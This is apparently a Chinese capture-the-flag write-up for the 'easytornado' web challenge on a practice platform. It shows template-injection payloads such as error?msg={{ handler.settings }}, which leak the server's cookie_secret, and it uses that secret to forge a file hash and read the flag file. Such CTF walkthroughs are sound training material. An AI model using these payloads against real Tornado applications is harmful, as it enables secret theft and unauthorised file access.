攻防世界-web-高手进阶区018-easytornado
1.查看主页面
2.查看其他页面,/welcome.txt
http://111.198.29.45:39004/file?filename=/welcome.txt&filehash=9aeecdd1844b70a3c4c719d2303cfaeb
/hints.txt
http://111.198.29.45:39004/file?filename=/hints.txt&filehash=9226131c021e8a84f91c65972c94ca3b
/flag.txt
http://111.198.29.45:39004/file?filename=/flag.txt&filehash=ed15d1deebc3e76eaf460728563f05d7
3.从上面三个页面来看
flag在/fllllllllllllag文件中
url中的filehash是md5(cookie_secret+md5(filename))
可以构造payload为:file?filename=/fllllllllllllag&filehash=********************
filename已知道,只差filehash
4.直接输入/fllllllllllllag尝试,url跳转页面为
5./welcome.txt页面看到render,可能会是SSTI模板注入
SSTI模板注入详情:https://blog.csdn.net/zz_Caleb/article/details/96480967
尝试验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符背过滤了。
6.通过模板注入如何拿到tornado中的cookie,用的就是handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
传递error?msg={{ handler.settings }}得到:
7.使用md5加密构造计算出filehash的值,md5(cookie_secret+md5(/fllllllllllllag))
8.传递参数得到flag